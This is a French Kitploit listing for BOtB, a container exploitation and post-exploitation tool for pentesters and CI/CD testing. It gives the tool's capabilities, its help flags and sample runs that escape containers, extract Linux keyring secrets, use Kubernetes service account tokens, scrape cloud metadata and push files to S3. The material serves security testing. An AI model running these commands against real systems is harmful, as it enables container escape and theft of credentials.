Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
botb — Un outil d'analyse et d'exploitation de conteneurs pour les testeurs d'intrusion et les ingénieurs. | Kitploit
Outils/GitHubGitHub/brompwnie/botb
Sécurité des ConteneursAnalyse des VulnérabilitésExploitationPost-ExploitationTests d'IntrusionSécurité CloudÉvasion de Conteneur
GitHubbrompwnie/botb

botb

Un outil d'analyse et d'exploitation de conteneurs pour les testeurs d'intrusion et les ingénieurs.

Voir le dépôt
6845625il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Github All Releases

Sortir de la boîte (BOtB)

BOtB est un outil d'analyse et d'exploitation de conteneurs conçu pour être utilisé par les pentesters et les ingénieurs, tout en étant compatible CI/CD avec les technologies CI/CD courantes.

Que fait-il ?

BOtB est un outil en ligne de commande qui vous permet de :

  • Exploiter les vulnérabilités courantes des conteneurs
  • Effectuer des actions courantes de post-exploitation de conteneurs
  • Fournir des capacités lorsque certains outils ou binaires ne sont pas disponibles dans le conteneur
  • Utiliser les capacités de BOtB avec les technologies CI/CD pour tester les déploiements de conteneurs
  • Effectuer les opérations ci-dessus de manière manuelle ou automatisée

Capacités actuelles

  • Effectuer une évasion de conteneur via des démons Docker exposés (docker.sock)
  • Effectuer une évasion de conteneur via CVE-2019-5736
  • Effectuer une évasion de conteneur privilégié via les CAPS et SYSCALLS activés
  • Extraire des données des trousseaux de clés du noyau Linux en abusant de l'appel système Keyctl via des profils seccomp permissifs
  • Identifier les secrets des comptes de service Kubernetes et tenter de les utiliser
  • Identifier les points de terminaison des services de métadonnées, par exemple http://169.254.169.254, http://metadata.google.internal/ et http://100.100.100.200/
  • Récupérer les informations de métadonnées des points de terminaison de métadonnées GCP
  • Analyser et identifier les chaînes sensibles dans l'ENV et les processus dans le ProcFS, par exemple /Proc/{pid}/Environ
  • Trouver et identifier les sockets de domaine UNIX
  • Identifier les sockets de domaine UNIX qui supportent HTTP
  • Trouver et identifier le démon Docker sur les sockets de domaine UNIX ou sur une interface
  • Détourner des binaires hôtes avec une charge utile personnalisée
  • Effectuer des actions en mode CI/CD et ne renvoyer que des codes de sortie > 0
  • Pousser des données vers un bucket S3
  • Forcer BOtB à toujours renvoyer un code de sortie de 0 (utile pour les CI/CD non bloquants)
  • Effectuer les opérations ci-dessus à partir des arguments en ligne de commande ou d'un fichier de configuration YAML
  • Effectuer une recherche DNS inverse

Installation

Binaires

Pour les instructions d'installation à partir des binaires, veuillez consulter la Page des versions.

Via Go

go get github.com/brompwnie/botb

Compilation à partir des sources

Compilation de BOtB via Go :

go build

Compilation de BOtB via Make :

make

Utilisation

BOtB peut être compilé en un binaire pour la plateforme ciblée et prend en charge l'utilisation suivante

./botb-linux-amd64 -h
-aggr string
        Attempt to exploit RuncPWN (default "nil")
  -always-succeed
        Always set BOtB's Exit code to Zero
  -autopwn
        Attempt to autopwn exposed sockets
  -cicd
        Attempt to autopwn but don't drop to TTY,return exit code 1 if successful else 0
  -config string
        Load config from provided yaml file (default "nil")
  -endpoints string
        Provide a textfile with endpoints to use for test (default "nil")
  -find-docker
        Attempt to find Dockerd
  -find-http
        Hunt for Available UNIX Domain Sockets with HTTP
  -find-sockets
        Hunt for Available UNIX Domain Sockets
  -hijack string
        Attempt to hijack binaries on host (default "nil")
  -k8secrets
        Identify and Verify K8's Secrets
  -keyMax int
         Maximum key id range (default 100000000) and max system value is 999999999 (default 100000000)
  -keyMin int
         Minimum key id range (default 1) (default 1)
  -metadata
        Attempt to find metadata services
  -path string
        Path to Start Scanning for UNIX Domain Sockets (default "/")
  -pwn-privileged string
        Provide a command payload to try exploit --privilege CGROUP release_agent's (default "nil")
  -pwnKeyctl
        Abuse keyctl syscalls and extract data from Linux Kernel keyrings
  -recon
        Perform Recon of the Container ENV
  -region string
        Provide a AWS Region e.g eu-west-2 (default "nil")
  -rev-dns string
        Perform reverse DNS lookups on a subnet. Parameter must be in CIDR notation, e.g., -rev-dns 192.168.0.0/24 (default "nil")
  -s3bucket string
        Provide a bucket name for S3 Push (default "nil")
  -s3push string
        Push a file to S3 e.g Full command to push to https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME would be: -region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME (default "nil")
  -scrape-gcp
        Attempt to scrape the GCP metadata service
  -verbose
        Verbose output
  -wordlist string
        Provide a wordlist (default "nil")

BOtB peut également être configuré pour charger les paramètres à partir d'un fichier YAML via le paramètre de configuration

#./botb-linux-amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
...

Les exemples d'utilisation suivants renverront un code de sortie > 0 par défaut lorsqu'une anomalie est détectée, ce qui est représenté par "echo $?" qui affiche le code de sortie de la dernière commande exécutée.

Identifier et extraire les secrets du trousseau de clés du noyau Linux qui n'ont pas été correctement protégés

Plus d'informations de l'auteur original ici https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/

#./botb-linux-amd64 -pwnKeyctl=true -keyMin=0 -keyMax=100000000
[+] Break Out The Box
[*] Attempting to Identify and Extract Keyring Values
[!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe
[!] Subkey description for key [251133632]: user;0;0;3f010000;brompwnie_secret
[!] Output {
 "KeyId": 13738777,
 "Valid": true,
 "Name": "_ses.e326b8816c24d0ddda6c2c82ecf62ea2302a7239fce2fd104775d154a97fa3d6",
 "Type": "keyring",
 "Uid": "0",
 "Gid": "0",
 "Perms": "3f1b0000",
 "String_Content": "\ufffd\ufffd\ufffd\u000e",
 "Byte_Content": "wP73Dg==",
 "Comments": null,
 "Subkeys": [
  {
   "KeyId": 251133632,
   "Valid": true,
   "Name": "brompwnie_secret",
   "Type": "user",
   "Uid": "0",
   "Gid": "0",
   "Perms": "3f010000",
   "String_Content": "thetruthisialsoreallyliketrees",
   "Byte_Content": "dGhldHJ1dGhpc2lhbHNvcmVhbGx5bGlrZXRyZWVz",
   "Comments": null,
   "Subkeys": null,
   "Output": ""
  }
 ],
 "Output": ""
}
[+] Finished

Identifier et vérifier les secrets des comptes de service Kubernetes montés

#./botb-linux-amd64 -k8secrets=true
[+] Break Out The Box
[*] Identifying and Verifying K8's Secrets
[!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token
[!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[+] Finished
Télécharger l’outil